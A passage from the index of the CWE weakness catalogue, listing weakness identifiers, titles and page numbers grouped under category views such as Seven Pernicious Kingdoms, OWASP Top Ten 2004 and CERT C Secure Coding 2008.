- CWE-396: Declaration of Catch for Generic Exception *(p.860)*
- CWE-397: Declaration of Throws for Generic Exception *(p.862)*
- CWE-544: Missing Standardized Error Handling Mechanism *(p.1117)*
- CWE-584: Return Inside Finally Block *(p.1171)*
- CWE-600: Uncaught Exception in Servlet *(p.1193)*
- CWE-617: Reachable Assertion *(p.1224)*

- CWE-756: Missing Custom Error Page *(p.1390)*
- CWE-1069: Empty Exception Block *(p.1670)*

CWE-569: Expression Issues *(p.1870)*
- CWE-480: Use of Incorrect Operator *(p.1023)*
- CWE-570: Expression is Always False *(p.1147)*
- CWE-571: Expression is Always True *(p.1150)*
- CWE-588: Attempt to Access Child of a Non-structure Pointer *(p.1177)*
- CWE-595: Comparison of Object References Instead of Object Contents *(p.1187)*
- CWE-783: Operator Precedence Logic Error *(p.1453)*

CWE-429: Handler Errors *(p.1866)*
- CWE-430: Deployment of Wrong Handler *(p.929)*
- CWE-431: Missing Handler *(p.931)*
- CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations *(p.932)*
- CWE-433: Unparsed Raw Web Content Delivery *(p.933)*
- CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
- CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*

CWE-199: Information Management Errors *(p.1852)*
- CWE-201: Exposure of Sensitive Information Through Sent Data *(p.474)*
- CWE-204: Observable Response Discrepancy *(p.482)*
- CWE-205: Observable Behavioral Discrepancy *(p.485)*
- CWE-208: Observable Timing Discrepancy *(p.488)*
- CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
- CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
- CWE-213: Exposure of Sensitive Information Due to Incompatible Policies *(p.503)*
- CWE-214: Invocation of Process Using Visible Sensitive Information *(p.505)*
- CWE-215: Insertion of Sensitive Information Into Debugging Code *(p.507)*
- CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
- CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
- CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
- CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere *(p.1062)*
- CWE-524: Use of Cache Containing Sensitive Information *(p.1096)*
- CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
- CWE-540: Inclusion of Sensitive Information in Source Code *(p.1113)*
- CWE-921: Storage of Sensitive Data in a Mechanism without Access Control *(p.1602)*
- CWE-1230: Exposure of Sensitive Information Through Metadata *(p.1746)*

CWE-452: Initialization and Cleanup Errors *(p.1867)*
- CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
- CWE-454: External Initialization of Trusted Variables or Data Stores *(p.967)*
- CWE-455: Non-exit on Failed Initialization *(p.969)*
- CWE-459: Incomplete Cleanup *(p.978)*
- CWE-460: Improper Cleanup on Thrown Exception *(p.981)*
- CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data *(p.1653)*
- CWE-1052: Excessive Use of Hard-Coded Literals in Initialization *(p.1654)*
- CWE-1188: Insecure Default Initialization of Resource *(p.1725)*

CWE-1215: Data Validation Issues *(p.2015)*
- CWE-112: Missing XML Validation *(p.249)*
- CWE-129: Improper Validation of Array Index *(p.312)*
- CWE-179: Incorrect Behavior Order: Early Validation *(p.414)*
- CWE-183: Permissive List of Allowed Inputs *(p.424)*
- CWE-184: Incomplete List of Disallowed Inputs *(p.425)*
- CWE-606: Unchecked Input for Loop Condition *(p.1207)*
- CWE-641: Improper Restriction of Names for Files and Other Resources *(p.1256)*
- CWE-1173: Improper Use of Validation Framework *(p.1722)*

CWE-1216: Lockout Mechanism Errors *(p.2016)*

- CWE-645: Overly Restrictive Account Lockout Mechanism *(p.1267)*

C CWE-1218: Memory Buffer Errors *(p.2016)*
- CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
- CWE-123: Write-what-where Condition *(p.296)*
- CWE-124: Buffer Underwrite ('Buffer Underflow') *(p.298)*
- CWE-125: Out-of-bounds Read *(p.302)*
- CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
- CWE-786: Access of Memory Location Before Start of Buffer *(p.1461)*
- CWE-787: Out-of-bounds Write *(p.1463)*
- CWE-788: Access of Memory Location After End of Buffer *(p.1470)*
- CWE-805: Buffer Access with Incorrect Length Value *(p.1497)*

C CWE-189: Numeric Errors *(p.1852)*
- CWE-128: Wrap-around Error *(p.309)*
- CWE-190: Integer Overflow or Wraparound *(p.437)*
- CWE-191: Integer Underflow (Wrap or Wraparound) *(p.444)*
- CWE-192: Integer Coercion Error *(p.446)*
- CWE-193: Off-by-one Error *(p.449)*
- CWE-197: Numeric Truncation Error *(p.461)*
- CWE-198: Use of Incorrect Byte Ordering *(p.465)*
- CWE-369: Divide By Zero *(p.818)*
- CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
- CWE-839: Numeric Range Comparison Without Minimum Check *(p.1554)*
- CWE-1077: Floating Point Comparison with Incorrect Operator *(p.1678)*

C CWE-275: Permission Issues *(p.1857)*
- CWE-276: Incorrect Default Permissions *(p.606)*
- CWE-277: Insecure Inherited Permissions *(p.609)*
- CWE-278: Insecure Preserved Inherited Permissions *(p.610)*
- CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
- CWE-280: Improper Handling of Insufficient Permissions or Privileges *(p.613)*
- CWE-281: Improper Preservation of Permissions *(p.615)*
- CWE-618: Exposed Unsafe ActiveX Method *(p.1226)*
- CWE-766: Critical Data Element Declared Public *(p.1415)*
- CWE-767: Access to Critical Private Variable via Public Method *(p.1418)*

C CWE-465: Pointer Issues *(p.1868)*
- CWE-466: Return of Pointer Value Outside of Expected Range *(p.988)*
- CWE-467: Use of sizeof() on a Pointer Type *(p.989)*
- CWE-468: Incorrect Pointer Scaling *(p.992)*
- CWE-469: Use of Pointer Subtraction to Determine Size *(p.994)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
- CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
- CWE-588: Attempt to Access Child of a Non-structure Pointer *(p.1177)*
- CWE-763: Release of Invalid Pointer or Reference *(p.1408)*
- CWE-822: Untrusted Pointer Dereference *(p.1515)*
- CWE-823: Use of Out-of-range Pointer Offset *(p.1518)*
- CWE-824: Access of Uninitialized Pointer *(p.1520)*
- CWE-825: Expired Pointer Dereference *(p.1523)*

C CWE-265: Privilege Issues *(p.1856)*
- CWE-243: Creation of chroot Jail Without Changing Working Directory *(p.538)*
- CWE-250: Execution with Unnecessary Privileges *(p.547)*
- CWE-266: Incorrect Privilege Assignment *(p.580)*
- CWE-267: Privilege Defined With Unsafe Actions *(p.583)*
- CWE-268: Privilege Chaining *(p.586)*
- CWE-270: Privilege Context Switching Error *(p.593)*
- CWE-272: Least Privilege Violation *(p.598)*

- CWE-273: Improper Check for Dropped Privileges *(p.601)*
- CWE-274: Improper Handling of Insufficient Privileges *(p.604)*
- CWE-280: Improper Handling of Insufficient Permissions or Privileges *(p.613)*
- CWE-501: Trust Boundary Violation *(p.1071)*
- CWE-580: clone() Method Without super.clone() *(p.1166)*
- CWE-648: Incorrect Use of Privileged APIs *(p.1271)*

CWE-1213: Random Number Issues *(p.2014)*
- CWE-331: Insufficient Entropy *(p.736)*
- CWE-334: Small Space of Random Values *(p.742)*
- CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
- CWE-341: Predictable from Observable State *(p.753)*
- CWE-342: Predictable Exact Value from Previous Values *(p.755)*
- CWE-343: Predictable Value Range from Previous Values *(p.756)*
- CWE-1241: Use of Predictable Algorithm in Random Number Generator *(p.1761)*

CWE-411: Resource Locking Problems *(p.1865)*
- CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
- CWE-413: Improper Resource Locking *(p.896)*
- CWE-414: Missing Lock Check *(p.900)*
- CWE-609: Double-Checked Locking *(p.1211)*
- CWE-764: Multiple Locks of a Critical Resource *(p.1413)*
- CWE-765: Multiple Unlocks of a Critical Resource *(p.1414)*
- CWE-832: Unlock of a Resource that is not Locked *(p.1542)*
- CWE-833: Deadlock *(p.1543)*

CWE-399: Resource Management Errors *(p.1864)*
- CWE-73: External Control of File Name or Path *(p.125)*
- CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') *(p.876)*
- CWE-410: Insufficient Resource Pool *(p.891)*
- CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-619: Dangling Database Cursor ('Cursor Injection') *(p.1228)*
- CWE-641: Improper Restriction of Names for Files and Other Resources *(p.1256)*
- CWE-694: Use of Multiple Resources with Duplicate Identifier *(p.1346)*
- CWE-763: Release of Invalid Pointer or Reference *(p.1408)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
- CWE-771: Missing Reference to Active Allocated Resource *(p.1430)*
- CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-826: Premature Release of Resource During Expected Lifetime *(p.1525)*
- CWE-908: Use of Uninitialized Resource *(p.1578)*
- CWE-909: Missing Initialization of Resource *(p.1581)*
- CWE-910: Use of Expired File Descriptor *(p.1584)*
- CWE-911: Improper Update of Reference Count *(p.1585)*
- CWE-914: Improper Control of Dynamically-Identified Variables *(p.1589)*
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes *(p.1591)*
- CWE-920: Improper Restriction of Power Consumption *(p.1601)*
- CWE-1188: Insecure Default Initialization of Resource *(p.1725)*

CWE-387: Signal Errors *(p.1861)*
- CWE-364: Signal Handler Race Condition *(p.802)*
- CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations *(p.932)*
- CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe *(p.1528)*
- CWE-831: Signal Handler Function Associated with Multiple Signals *(p.1539)*

CWE-371: State Issues *(p.1861)*
- CWE-15: External Control of System or Configuration Setting *(p.17)*
- CWE-372: Incomplete Internal State Distinction *(p.823)*

- CWE-374: Passing Mutable Objects to an Untrusted Method *(p.824)*
- CWE-375: Returning a Mutable Object to an Untrusted Caller *(p.827)*
- CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls *(p.1802)*

CWE-133: String Errors *(p.1850)*
- CWE-134: Use of Externally-Controlled Format String *(p.334)*
- CWE-135: Incorrect Calculation of Multi-Byte String Length *(p.339)*
- CWE-597: Use of Wrong Operator in String Comparison *(p.1189)*

CWE-136: Type Errors *(p.1850)*
- CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
- CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') *(p.1563)*

CWE-355: User Interface Security Issues *(p.1860)*
- CWE-317: Cleartext Storage of Sensitive Information in GUI *(p.703)*
- CWE-356: Product UI does not Warn User of Unsafe Actions *(p.784)*
- CWE-357: Insufficient UI Warning of Dangerous Operations *(p.785)*
- CWE-447: Unimplemented or Unsupported Feature in UI *(p.957)*
- CWE-448: Obsolete Feature in UI *(p.959)*
- CWE-449: The UI Performs the Wrong Action *(p.960)*
- CWE-450: Multiple Interpretations of UI Input *(p.961)*
- CWE-549: Missing Password Field Masking *(p.1122)*
- CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User *(p.1628)*
- CWE-1021: Improper Restriction of Rendered UI Layers or Frames *(p.1631)*

CWE-1217: User Session Errors *(p.2016)*
- CWE-488: Exposure of Data Element to Wrong Session *(p.1040)*
- CWE-613: Insufficient Session Expiration *(p.1219)*
- CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*

Graph View: CWE-700: Seven Pernicious Kingdoms

- CWE-254: 7PK - Security Features *(p.1854)*
  - CWE-256: Unprotected Storage of Credentials *(p.562)*
  - CWE-258: Empty Password in Configuration File *(p.567)*
  - CWE-259: Use of Hard-coded Password *(p.569)*
  - CWE-260: Password in Configuration File *(p.573)*
  - CWE-261: Weak Encoding for Password *(p.575)*
  - CWE-272: Least Privilege Violation *(p.598)*
  - CWE-284: Improper Access Control *(p.619)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
  - CWE-798: Use of Hard-coded Credentials *(p.1486)*
- CWE-361: 7PK - Time and State *(p.1860)*
  - CWE-364: Signal Handler Race Condition *(p.802)*
  - CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
  - CWE-377: Insecure Temporary File *(p.829)*
  - CWE-382: J2EE Bad Practices: Use of System.exit() *(p.836)*
  - CWE-383: J2EE Bad Practices: Direct Use of Threads *(p.837)*
  - CWE-384: Session Fixation *(p.839)*
  - CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
- CWE-388: 7PK - Errors *(p.1862)*
  - CWE-391: Unchecked Error Condition *(p.850)*
  - CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p.857)*
  - CWE-396: Declaration of Catch for Generic Exception *(p.860)*
  - CWE-397: Declaration of Throws for Generic Exception *(p.862)*
- CWE-1005: 7PK - Input Validation and Representation *(p.1961)*
  - CWE-20: Improper Input Validation *(p.19)*
    - CWE-102: Struts: Duplicate Validation Forms *(p.227)*
    - CWE-103: Struts: Incomplete validate() Method Definition *(p.229)*
    - CWE-104: Struts: Form Bean Does Not Extend Validation Class *(p.231)*
    - CWE-105: Struts: Form Field Without Validator *(p.234)*
    - CWE-106: Struts: Plug-in Framework not in Use *(p.237)*
    - CWE-107: Struts: Unused Validation Form *(p.239)*
    - CWE-108: Struts: Unvalidated Action Form *(p.242)*
    - CWE-109: Struts: Validator Turned Off *(p.243)*
    - CWE-110: Struts: Validator Without Form Field *(p.245)*
    - CWE-111: Direct Use of Unsafe JNI *(p.247)*
    - CWE-112: Missing XML Validation *(p.249)*
    - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') *(p.251)*
    - CWE-114: Process Control *(p.256)*
    - CWE-117: Improper Output Neutralization for Logs *(p.266)*
    - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
    - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
    - CWE-134: Use of Externally-Controlled Format String *(p.334)*
    - CWE-15: External Control of System or Configuration Setting *(p.17)*
    - CWE-170: Improper Null Termination *(p.395)*
    - CWE-190: Integer Overflow or Wraparound *(p.437)*
    - CWE-466: Return of Pointer Value Outside of Expected Range *(p.988)*
    - CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
    - CWE-73: External Control of File Name or Path *(p.125)*
    - CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer *(p.1459)*

- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') *(p.224)*

CWE-227: 7PK - API Abuse *(p.1853)*
- CWE-242: Use of Inherently Dangerous Function *(p.536)*
- CWE-243: Creation of chroot Jail Without Changing Working Directory *(p.538)*
- CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p.540)*
- CWE-245: J2EE Bad Practices: Direct Management of Connections *(p.541)*
- CWE-246: J2EE Bad Practices: Direct Use of Sockets *(p.543)*
- CWE-248: Uncaught Exception *(p.545)*
- CWE-250: Execution with Unnecessary Privileges *(p.547)*
- CWE-251: Often Misused: String Management *(p.1854)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-558: Use of getlogin() in Multithreaded Application *(p.1130)*

CWE-398: 7PK - Code Quality *(p.1863)*
- CWE-401: Missing Release of Memory after Effective Lifetime *(p.872)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-415: Double Free *(p.901)*
- CWE-416: Use After Free *(p.904)*
- CWE-457: Use of Uninitialized Variable *(p.975)*
- CWE-474: Use of Function with Inconsistent Implementations *(p.1006)*
- CWE-475: Undefined Behavior for Input to API *(p.1008)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
- CWE-477: Use of Obsolete Function *(p.1015)*

CWE-485: 7PK - Encapsulation *(p.1868)*
- CWE-486: Comparison of Classes by Name *(p.1036)*
- CWE-488: Exposure of Data Element to Wrong Session *(p.1040)*
- CWE-489: Active Debug Code *(p.1042)*
- CWE-491: Public cloneable() Method Without Final ('Object Hijack') *(p.1044)*
- CWE-492: Use of Inner Class Containing Sensitive Data *(p.1046)*
- CWE-493: Critical Public Variable Without Final Modifier *(p.1053)*
- CWE-495: Private Data Structure Returned From A Public Method *(p.1059)*
- CWE-496: Public Data Assigned to Private Array-Typed Field *(p.1061)*
- CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere *(p.1062)*
- CWE-501: Trust Boundary Violation *(p.1071)*

CWE-2: 7PK - Environment *(p.1848)*
- CWE-11: ASP.NET Misconfiguration: Creating Debug Binary *(p.9)*
- CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page *(p.11)*
- CWE-13: ASP.NET Misconfiguration: Password in Configuration File *(p.12)*
- CWE-14: Compiler Removal of Code to Clear Buffers *(p.14)*
- CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption *(p.1)*
- CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length *(p.2)*
- CWE-7: J2EE Misconfiguration: Missing Custom Error Page *(p.4)*
- CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote *(p.6)*
- CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods *(p.7)*

Graph View: CWE-711: Weaknesses in OWASP Top Ten (2004)

- CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input *(p.1874)*
  - CWE-102: Struts: Duplicate Validation Forms *(p.227)*
  - CWE-103: Struts: Incomplete validate() Method Definition *(p.229)*
  - CWE-104: Struts: Form Bean Does Not Extend Validation Class *(p.231)*
  - CWE-106: Struts: Plug-in Framework not in Use *(p.237)*
  - CWE-109: Struts: Validator Turned Off *(p.243)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-166: Improper Handling of Missing Special Element *(p.390)*
  - CWE-167: Improper Handling of Additional Special Element *(p.392)*
  - CWE-179: Incorrect Behavior Order: Early Validation *(p.414)*
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p.417)*
  - CWE-181: Incorrect Behavior Order: Validate Before Filter *(p.420)*
  - CWE-182: Collapse of Data into Unsafe Value *(p.422)*
  - CWE-183: Permissive List of Allowed Inputs *(p.424)*
  - CWE-20: Improper Input Validation *(p.19)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
  - CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
  - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control *(p.1875)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-266: Incorrect Privilege Assignment *(p.580)*
  - CWE-268: Privilege Chaining *(p.586)*
  - CWE-275: Permission Issues *(p.1857)*
  - CWE-283: Unverified Ownership *(p.618)*
  - CWE-284: Improper Access Control *(p.619)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-41: Improper Resolution of Path Equivalence *(p.81)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-525: Use of Web Browser Cache Containing Sensitive Information *(p.1097)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
  - CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation *(p.1129)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-708: Incorrect Ownership Assignment *(p.1363)*
  - CWE-73: External Control of File Name or Path *(p.125)*
  - CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods *(p.7)*
- CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management *(p.1876)*
  - CWE-255: Credentials Management Errors *(p.1855)*
  - CWE-259: Use of Hard-coded Password *(p.569)*
  - CWE-287: Improper Authentication *(p.630)*
  - CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
  - CWE-298: Improper Validation of Certificate Expiration *(p.659)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p.668)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*

- CWE-309: Use of Password System for Primary Authentication *(p.684)*
- CWE-345: Insufficient Verification of Data Authenticity *(p.758)*
- CWE-384: Session Fixation *(p.839)*
- CWE-521: Weak Password Requirements *(p.1089)*
- CWE-522: Insufficiently Protected Credentials *(p.1091)*
- CWE-525: Use of Web Browser Cache Containing Sensitive Information *(p.1097)*
- CWE-613: Insufficient Session Expiration *(p.1219)*
- CWE-620: Unverified Password Change *(p.1229)*
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*

CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws *(p.1877)*

- CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax *(p.1265)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*

CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows *(p.1877)*

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
- CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
- CWE-134: Use of Externally-Controlled Format String *(p.334)*

CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws *(p.1877)*

- CWE-117: Improper Output Neutralization for Logs *(p.266)*
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') *(p.130)*
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p.217)*

CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling *(p.1878)*

- CWE-203: Observable Discrepancy *(p.478)*
- CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
- CWE-228: Improper Handling of Syntactically Invalid Structure *(p.519)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-389: Error Conditions, Return Values, Status Codes *(p.1863)*
- CWE-390: Detection of Error Condition Without Action *(p.845)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-394: Unexpected Status Code or Return Value *(p.856)*
- CWE-636: Not Failing Securely ('Failing Open') *(p.1245)*
- CWE-7: J2EE Misconfiguration: Missing Custom Error Page *(p.4)*

CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage *(p.1878)*

- CWE-14: Compiler Removal of Code to Clear Buffers *(p.14)*
- CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
- CWE-261: Weak Encoding for Password *(p.575)*
- CWE-311: Missing Encryption of Sensitive Data *(p.686)*
- CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
- CWE-326: Inadequate Encryption Strength *(p.718)*
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
- CWE-539: Use of Persistent Cookies Containing Sensitive Information *(p.1112)*
- CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p.1182)*
- CWE-598: Use of GET Request Method With Sensitive Query Strings *(p.1191)*

CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service *(p.1879)*

- CWE-170: Improper Null Termination *(p.395)*
- CWE-248: Uncaught Exception *(p.545)*

- CWE-369: Divide By Zero *(p.818)*
- CWE-382: J2EE Bad Practices: Use of System.exit() *(p.836)*
- CWE-400: Uncontrolled Resource Consumption *(p.864)*
- CWE-401: Missing Release of Memory after Effective Lifetime *(p.872)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-405: Asymmetric Resource Consumption (Amplification) *(p.883)*
- CWE-410: Insufficient Resource Pool *(p.891)*
- CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
- CWE-674: Uncontrolled Recursion *(p.1314)*

CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management *(p.1880)*

- CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
- CWE-215: Insertion of Sensitive Information Into Debugging Code *(p.507)*
- CWE-219: Storage of File with Sensitive Data Under Web Root *(p.509)*
- CWE-275: Permission Issues *(p.1857)*
- CWE-295: Improper Certificate Validation *(p.648)*
- CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption *(p.1)*
- CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File *(p.1128)*
- CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length *(p.2)*
- CWE-7: J2EE Misconfiguration: Missing Custom Error Page *(p.4)*
- CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote *(p.6)*
- CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods *(p.7)*
- CWE-459: Incomplete Cleanup *(p.978)*
- CWE-489: Active Debug Code *(p.1042)*
- CWE-11: ASP.NET Misconfiguration: Creating Debug Binary *(p.9)*
- CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page *(p.11)*
- CWE-13: ASP.NET Misconfiguration: Password in Configuration File *(p.12)*
- CWE-520: .NET Misconfiguration: Use of Impersonation *(p.1088)*
- CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework *(p.1127)*
- CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation *(p.1129)*
- CWE-526: Exposure of Sensitive Information Through Environmental Variables *(p.1099)*
- CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere *(p.1099)*
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere *(p.1100)*
- CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere *(p.1101)*
- CWE-530: Exposure of Backup File to an Unauthorized Control Sphere *(p.1102)*
- CWE-531: Inclusion of Sensitive Information in Test Code *(p.1103)*
- CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
- CWE-540: Inclusion of Sensitive Information in Source Code *(p.1113)*
- CWE-541: Inclusion of Sensitive Information in an Include File *(p.1114)*
- CWE-548: Exposure of Information Through Directory Listing *(p.1121)*
- CWE-552: Files or Directories Accessible to External Parties *(p.1125)*

Graph View: CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008)

- CWE-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE) *(p.1881)*
  - CWE-684: Incorrect Provision of Specified Functionality *(p.1332)*
- CWE-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL) *(p.1881)*
  - CWE-547: Use of Hard-coded, Security-relevant Constants *(p.1120)*
  - CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
  - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
- CWE-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP) *(p.1882)*
  - CWE-467: Use of sizeof() on a Pointer Type *(p.989)*
  - CWE-468: Incorrect Pointer Scaling *(p.992)*
  - CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
  - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-783: Operator Precedence Logic Error *(p.1453)*
- CWE-738: CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT) *(p.1882)*
  - CWE-129: Improper Validation of Array Index *(p.312)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-192: Integer Coercion Error *(p.446)*
  - CWE-197: Numeric Truncation Error *(p.461)*
  - CWE-20: Improper Input Validation *(p.19)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-466: Return of Pointer Value Outside of Expected Range *(p.988)*
  - CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
  - CWE-606: Unchecked Input for Loop Condition *(p.1207)*
  - CWE-676: Use of Potentially Dangerous Function *(p.1317)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-682: Incorrect Calculation *(p.1326)*
- CWE-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP) *(p.1883)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-682: Incorrect Calculation *(p.1326)*
  - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
- CWE-740: CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR) *(p.1884)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
